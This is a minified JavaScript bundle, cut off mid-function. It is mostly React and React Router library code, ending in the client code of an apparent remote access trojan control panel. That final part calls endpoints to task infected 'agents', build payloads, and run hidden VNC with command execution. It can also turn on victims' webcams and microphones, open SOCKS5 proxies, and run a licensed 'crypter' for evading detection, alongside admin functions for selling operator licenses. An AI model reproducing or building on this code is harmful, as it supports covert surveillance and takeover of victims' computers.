Xl(e,t,n,r,i,a){var o=2;if(r=e,typeof e=="function")qh(e)&&(o=1);else if(typeof e=="string")o=5;else e:switch(e){case oa:return Ai(n.children,i,a,t);case dh:o=8,i|=8;break;case fp:return e=fn(12,n,t,i|2),e.elementType=fp,e.lanes=a,e;case pp:return e=fn(13,n,t,i),e.elementType=pp,e.lanes=a,e;case mp:return e=fn(19,n,t,i),e.elementType=mp,e.lanes=a,e;case R2:return Lu(n,i,a,t);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case I2:o=10;break e;case D2:o=9;break e;case fh:o=11;break e;case ph:o=14;break e;case Mr:o=16,r=null;break e}throw Error(J(130,e==null?e:typeof e,""))}return t=fn(o,n,t,i),t.elementType=e,t.type=r,t.lanes=a,t}function Ai(e,t,n,r){return e=fn(7,e,r,t),e.lanes=n,e}function Lu(e,t,n,r){return e=fn(22,e,r,t),e.elementType=R2,e.lanes=n,e.stateNode={isHidden:!1},e}function Pf(e,t,n){return e=fn(6,e,null,t),e.lanes=n,e}function Ef(e,t,n){return t=fn(4,e.children!==null?e.children:[],e.key,t),t.lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function JC(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=cf(0),this.expirationTimes=cf(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=cf(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function Yh(e,t,n,r,i,a,o,l,c){return e=new JC(e,t,n,l,c),t===1?(t=1,a===!0&&(t|=8)):t=0,a=fn(3,null,null,t),e.current=a,a.stateNode=e,a.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},_h(a),e}function eP(e,t,n){var r=3"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(Oj)}catch(e){console.error(e)}}Oj(),O2.exports=tn;var Qh=O2.exports,cg=Qh;up.createRoot=cg.createRoot,up.hydrateRoot=cg.hydrateRoot;/** + * @remix-run/router v1.23.2 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function oo(){return oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t"u")throw new Error(t)}function Jh(e,t){if(!e){typeof console<"u"&&console.warn(t);try{throw new Error(t)}catch{}}}function sP(){return Math.random().toString(36).substr(2,8)}function dg(e,t){return{usr:e.state,key:e.key,idx:t}}function rm(e,t,n,r){return n===void 0&&(n=null),oo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof t=="string"?Ya(t):t,{state:n,key:t&&t.key||r||sP()})}function Pc(e){let{pathname:t="/",search:n="",hash:r=""}=e;return n&&n!=="?"&&(t+=n.charAt(0)==="?"?n:"?"+n),r&&r!=="#"&&(t+=r.charAt(0)==="#"?r:"#"+r),t}function Ya(e){let t={};if(e){let n=e.indexOf("#");n>=0&&(t.hash=e.substr(n),e=e.substr(0,n));let r=e.indexOf("?");r>=0&&(t.search=e.substr(r),e=e.substr(0,r)),e&&(t.pathname=e)}return t}function oP(e,t,n,r){r===void 0&&(r={});let{window:i=document.defaultView,v5Compat:a=!1}=r,o=i.history,l=Wr.Pop,c=null,u=d();u==null&&(u=0,o.replaceState(oo({},o.state,{idx:u}),""));function d(){return(o.state||{idx:null}).idx}function f(){l=Wr.Pop;let y=d(),v=y==null?null:y-u;u=y,c&&c({action:l,location:g.location,delta:v})}function m(y,v){l=Wr.Push;let b=rm(g.location,y,v);u=d()+1;let w=dg(b,u),j=g.createHref(b);try{o.pushState(w,"",j)}catch(k){if(k instanceof DOMException&&k.name==="DataCloneError")throw k;i.location.assign(j)}a&&c&&c({action:l,location:g.location,delta:1})}function h(y,v){l=Wr.Replace;let b=rm(g.location,y,v);u=d();let w=dg(b,u),j=g.createHref(b);o.replaceState(w,"",j),a&&c&&c({action:l,location:g.location,delta:0})}function x(y){let v=i.location.origin!=="null"?i.location.origin:i.location.href,b=typeof y=="string"?y:Pc(y);return b=b.replace(/ $/,"%20"),We(v,"No window.location.(origin|href) available to create URL for href: "+b),new URL(b,v)}let g={get action(){return l},get location(){return e(i,o)},listen(y){if(c)throw new Error("A history only accepts one active listener");return i.addEventListener(ug,f),c=y,()=>{i.removeEventListener(ug,f),c=null}},createHref(y){return t(i,y)},createURL:x,encodeLocation(y){let v=x(y);return{pathname:v.pathname,search:v.search,hash:v.hash}},push:m,replace:h,go(y){return o.go(y)}};return g}var fg;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(fg||(fg={}));function lP(e,t,n){return n===void 0&&(n="/"),cP(e,t,n)}function cP(e,t,n,r){let i=typeof t=="string"?Ya(t):t,a=Da(i.pathname||"/",n);if(a==null)return null;let o=Tj(e);uP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?a.path||"":l,caseSensitive:a.caseSensitive===!0,childrenIndex:o,route:a};c.relativePath.startsWith("/")&&(We(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=Qr([r,c.relativePath]),d=n.concat(c);a.children&&a.children.length>0&&(We(a.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),Tj(a.children,t,d,u)),!(a.path==null&&!a.index)&&t.push({path:u,score:vP(u,a.index),routesMeta:d})};return e.forEach((a,o)=>{var l;if(a.path===""||!((l=a.path)!=null&&l.includes("?")))i(a,o);else for(let c of Mj(a.path))i(a,o,c)}),t}function Mj(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),a=n.replace(/\?$/,"");if(r.length===0)return i?[a,""]:[a];let o=Mj(r.join("/")),l=[];return l.push(...o.map(c=>c===""?a:[a,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function uP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:gP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const dP=/^:[\w-]+$/,fP=3,pP=2,mP=1,hP=10,xP=-2,pg=e=>e==="*";function vP(e,t){let n=e.split("/"),r=n.length;return n.some(pg)&&(r+=xP),t&&(r+=pP),n.filter(i=>!pg(i)).reduce((i,a)=>i+(dP.test(a)?fP:a===""?mP:hP),r)}function gP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function yP(e,t,n){let{routesMeta:r}=e,i={},a="/",o=[];for(let l=0;l{let{paramName:m,isOptional:h}=d;if(m==="*"){let g=l[f]||"";o=a.slice(0,a.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[m]=void 0:u[m]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:a,pathnameBase:o,pattern:e}}function bP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),Jh(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function wP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return Jh(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function Da(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const jP=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,kP=e=>jP.test(e);function NP(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?Ya(e):e,a;if(n)if(kP(n))a=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),Jh(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?a=mg(n.substring(1),"/"):a=mg(n,t)}else a=t;return{pathname:a,search:CP(r),hash:PP(i)}}function mg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function Af(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function SP(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function ex(e,t){let n=SP(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function tx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=Ya(e):(i=oo({},e),We(!i.pathname||!i.pathname.includes("?"),Af("?","pathname","search",i)),We(!i.pathname||!i.pathname.includes("#"),Af("#","pathname","hash",i)),We(!i.search||!i.search.includes("#"),Af("#","search","hash",i)));let a=e===""||i.pathname==="",o=a?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let m=o.split("/");for(;m[0]==="..";)m.shift(),f-=1;i.pathname=m.join("/")}l=f>=0?t[f]:"/"}let c=NP(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(a||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const Qr=e=>e.join("/").replace(/\/\/+/g,"/"),zP=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),CP=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,PP=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function EP(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Lj=["post","put","patch","delete"];new Set(Lj);const AP=["get",...Lj];new Set(AP);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function lo(){return lo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),p.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=tx(u,JSON.parse(o),a,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:Qr([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,a,e])}const TP=p.createContext(null);function MP(e){let t=p.useContext(Zn).outlet;return t&&p.createElement(TP.Provider,{value:e},t)}function Mo(){let{matches:e}=p.useContext(Zn),t=e[e.length-1];return t?t.params:{}}function Wu(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=p.useContext(Nr),{matches:i}=p.useContext(Zn),{pathname:a}=Xi(),o=JSON.stringify(ex(i,r.v7_relativeSplatPath));return p.useMemo(()=>tx(e,JSON.parse(o),a,n==="path"),[e,o,a,n])}function LP(e,t){return IP(e,t)}function IP(e,t,n,r){Ga()||We(!1);let{navigator:i}=p.useContext(Nr),{matches:a}=p.useContext(Zn),o=a[a.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=Xi(),d;if(t){var f;let y=typeof t=="string"?Ya(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||We(!1),d=y}else d=u;let m=d.pathname||"/",h=m;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+m.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=lP(e,{pathname:h}),g=FP(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:Qr([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:Qr([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),a,n,r);return t&&g?p.createElement(Fu.Provider,{value:{location:lo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:Wr.Pop}},g):g}function DP(){let e=HP(),t=EP(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return p.createElement(p.Fragment,null,p.createElement("h2",null,"Unexpected Application Error!"),p.createElement("h3",{style:{fontStyle:"italic"}},t),n?p.createElement("pre",{style:i},n):null,null)}const RP=p.createElement(DP,null);class $P extends p.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?p.createElement(Zn.Provider,{value:this.props.routeContext},p.createElement(Dj.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function BP(e){let{routeContext:t,match:n,children:r}=e,i=p.useContext(Bu);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),p.createElement(Zn.Provider,{value:t},r)}function FP(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var a;if(!n)return null;if(n.errors)e=n.matches;else if((a=r)!=null&&a.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||We(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,m)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||RP,c&&(u<0&&m===0?(qP("route-fallback"),x=!0,y=null):u===m&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,m+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=p.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,p.createElement(BP,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||m===0)?p.createElement($P,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var $j=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}($j||{}),Bj=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(Bj||{});function WP(e){let t=p.useContext(Bu);return t||We(!1),t}function UP(e){let t=p.useContext(Ij);return t||We(!1),t}function VP(e){let t=p.useContext(Zn);return t||We(!1),t}function Fj(e){let t=VP(),n=t.matches[t.matches.length-1];return n.route.id||We(!1),n.route.id}function HP(){var e;let t=p.useContext(Dj),n=UP(),r=Fj();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function KP(){let{router:e}=WP($j.UseNavigateStable),t=Fj(Bj.UseNavigateStable),n=p.useRef(!1);return Rj(()=>{n.current=!0}),p.useCallback(function(i,a){a===void 0&&(a={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,lo({fromRouteId:t},a)))},[e,t])}const hg={};function qP(e,t,n){hg[e]||(hg[e]=!0)}function YP(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function Bi(e){let{to:t,replace:n,state:r,relative:i}=e;Ga()||We(!1);let{future:a,static:o}=p.useContext(Nr),{matches:l}=p.useContext(Zn),{pathname:c}=Xi(),u=Qn(),d=tx(t,ex(l,a.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return p.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function GP(e){return MP(e.context)}function lt(e){We(!1)}function XP(e){let{basename:t="/",children:n=null,location:r,navigationType:i=Wr.Pop,navigator:a,static:o=!1,future:l}=e;Ga()&&We(!1);let c=t.replace(/^\/*/,"/"),u=p.useMemo(()=>({basename:c,navigator:a,static:o,future:lo({v7_relativeSplatPath:!1},l)}),[c,l,a,o]);typeof r=="string"&&(r=Ya(r));let{pathname:d="/",search:f="",hash:m="",state:h=null,key:x="default"}=r,g=p.useMemo(()=>{let y=Da(d,c);return y==null?null:{location:{pathname:y,search:f,hash:m,state:h,key:x},navigationType:i}},[c,d,f,m,h,x,i]);return g==null?null:p.createElement(Nr.Provider,{value:u},p.createElement(Fu.Provider,{children:n,value:g}))}function ZP(e){let{children:t,location:n}=e;return LP(am(t),n)}new Promise(()=>{});function am(e,t){t===void 0&&(t=[]);let n=[];return p.Children.forEach(e,(r,i)=>{if(!p.isValidElement(r))return;let a=[...t,i];if(r.type===p.Fragment){n.push.apply(n,am(r.props.children,a));return}r.type!==lt&&We(!1),!r.props.index||!r.props.children||We(!1);let o={id:r.props.id||a.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=am(r.props.children,a)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Ec(){return Ec=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function QP(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function JP(e,t){return e.button===0&&(!t||t==="_self")&&!QP(e)}function sm(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function eE(e,t){let n=sm(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(a=>{n.append(i,a)})}),n}const tE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],nE=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],rE="6";try{window.__reactRouterVersion=rE}catch{}const iE=p.createContext({isTransitioning:!1}),aE="startTransition",xg=A2[aE];function sE(e){let{basename:t,children:n,future:r,window:i}=e,a=p.useRef();a.current==null&&(a.current=aP({window:i,v5Compat:!0}));let o=a.current,[l,c]=p.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=p.useCallback(f=>{u&&xg?xg(()=>c(f)):c(f)},[c,u]);return p.useLayoutEffect(()=>o.listen(d),[o,d]),p.useEffect(()=>YP(r),[r]),p.createElement(XP,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const oE=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",lE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,it=p.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:a,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,m=Wj(t,tE),{basename:h}=p.useContext(Nr),x,g=!1;if(typeof u=="string"&&lE.test(u)&&(x=u,oE))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),k=Da(j.pathname,h);j.origin===w.origin&&k!=null?u=k+j.search+j.hash:g=!0}catch{}let y=_P(u,{relative:i}),v=dE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return p.createElement("a",Ec({},m,{href:x||y,onClick:g||a?r:b,ref:n,target:c}))}),cE=p.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:a="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=Wj(t,nE),m=Wu(c,{relative:f.relative}),h=Xi(),x=p.useContext(Ij),{navigator:g,basename:y}=p.useContext(Nr),v=x!=null&&fE(m)&&u===!0,b=g.encodeLocation?g.encodeLocation(m).pathname:m.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=Da(j,y)||j);const k=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let S=w===b||!o&&w.startsWith(b)&&w.charAt(k)==="/",N=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),z={isActive:S,isPending:N,isTransitioning:v},O=S?r:void 0,_;typeof a=="function"?_=a(z):_=[a,S?"active":null,N?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let T=typeof l=="function"?l(z):l;return p.createElement(it,Ec({},f,{"aria-current":O,className:_,ref:n,style:T,to:c,viewTransition:u}),typeof d=="function"?d(z):d)});var om;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(om||(om={}));var vg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(vg||(vg={}));function uE(e){let t=p.useContext(Bu);return t||We(!1),t}function dE(e,t){let{target:n,replace:r,state:i,preventScrollReset:a,relative:o,viewTransition:l}=t===void 0?{}:t,c=Qn(),u=Xi(),d=Wu(e,{relative:o});return p.useCallback(f=>{if(JP(f,n)){f.preventDefault();let m=r!==void 0?r:Pc(u)===Pc(d);c(e,{replace:m,state:i,preventScrollReset:a,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,a,o,l])}function nx(e){let t=p.useRef(sm(e)),n=p.useRef(!1),r=Xi(),i=p.useMemo(()=>eE(r.search,n.current?null:t.current),[r.search]),a=Qn(),o=p.useCallback((l,c)=>{const u=sm(typeof l=="function"?l(i):l);n.current=!0,a("?"+u,c)},[a,i]);return[i,o]}function fE(e,t){t===void 0&&(t={});let n=p.useContext(iE);n==null&&We(!1);let{basename:r}=uE(om.useViewTransitionState),i=Wu(e,{relative:t.relative});if(!n.isTransitioning)return!1;let a=Da(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=Da(n.nextLocation.pathname,r)||n.nextLocation.pathname;return im(i.pathname,o)!=null||im(i.pathname,a)!=null}const Uu="zerin_token",Vu="zerin_role",Hu="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(Uu,n.data.token),n.data.role&&sessionStorage.setItem(Vu,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function Ze(){return sessionStorage.getItem(Uu)}function rx(e){sessionStorage.setItem(Uu,e)}function Lo(){sessionStorage.removeItem(Uu),sessionStorage.removeItem(Vu),sessionStorage.removeItem(Hu),co=null}function Uj(){return sessionStorage.getItem(Hu)||"rat"}let co=null;function pE(){return Ze()?co&&Date.now()/1e3>co?(Lo(),!1):!0:!1}class Jr extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function ve(e,t={}){const n=Ze(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){Lo(),ii();const a=await i.text().catch(()=>"");let o="Unauthorized";if(a)try{o=JSON.parse(a).error||o}catch{o=a}throw new Jr(401,o)}if(!i.ok){const a=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(a)try{o=JSON.parse(a).error||o}catch{}throw new Jr(i.status,o)}if(i.status!==204)return i.json()}async function Vj(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function mE(e){const t=await Vj(e.password),n=await ve("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return rx(n.token),co=n.expires_at,n.role&&sessionStorage.setItem(Vu,n.role),n.tier&&sessionStorage.setItem(Hu,n.tier),ii(),n}async function hE(e){const t=await Vj(e.password),n=await ve("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return rx(n.token),co=n.expires_at,n.role&&sessionStorage.setItem(Vu,n.role),n.tier&&sessionStorage.setItem(Hu,n.tier),ii(),n}async function Hj(e){return ve("/api/agents")}async function xE(e){return ve(`/api/agents/${e}`)}async function Kj(e){return ve(`/api/agents/${e}`,{method:"DELETE"})}async function vE(e){await Promise.all(e.map(t=>Kj(t)))}async function gE(e){return ve(`/api/agents/${e}/ban`,{method:"POST"})}async function yE(e){return ve(`/api/agents/${e}/unban`,{method:"POST"})}async function ke(e,t){return ve(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Tn(e){return ve(`/api/agents/${e}/tasks`)}async function bE(){return ve("/api/events")}async function wE(e,t){return ve(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function jE(e){return ve("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function kE(){return ve("/api/payloads")}async function NE(){return ve("/api/server-info")}async function SE(e){return ve(`/api/payloads/${e}`,{method:"DELETE"})}async function ix(e){return ve(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function zE(e){return ve(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function qj(e){return ve(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function CE(e){return ve(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function PE(e,t,n=!1){return ve(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function Yj(e,t=-1){return ve(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function EE(e){return ve(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function Gj(e){return ve(`/api/agents/${e}/mic/start`,{method:"POST"})}async function AE(e){return ve(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function Xj(e){return ve(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function _E(e){return ve(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function OE(e){return ve(`/api/agents/${e}/socks5/status`)}async function TE(e){const t=Ze(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw Lo(),ii(),new Jr(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new Jr(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new Jr(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function ME(){return ve("/api/admin/keys")}async function LE(e){return ve("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function IE(e){return ve(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function DE(){return ve("/api/admin/operators")}async function RE(e,t){return ve(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function $E(e,t){return ve(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}let Zl=[];function BE(e){return Zl.push(e),()=>{Zl=Zl.filter(t=>t!==e)}}function FE(){return pE()}function ii(){Zl.forEach(e=>e())}function WE(){const e=Ze();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function Xa(){const 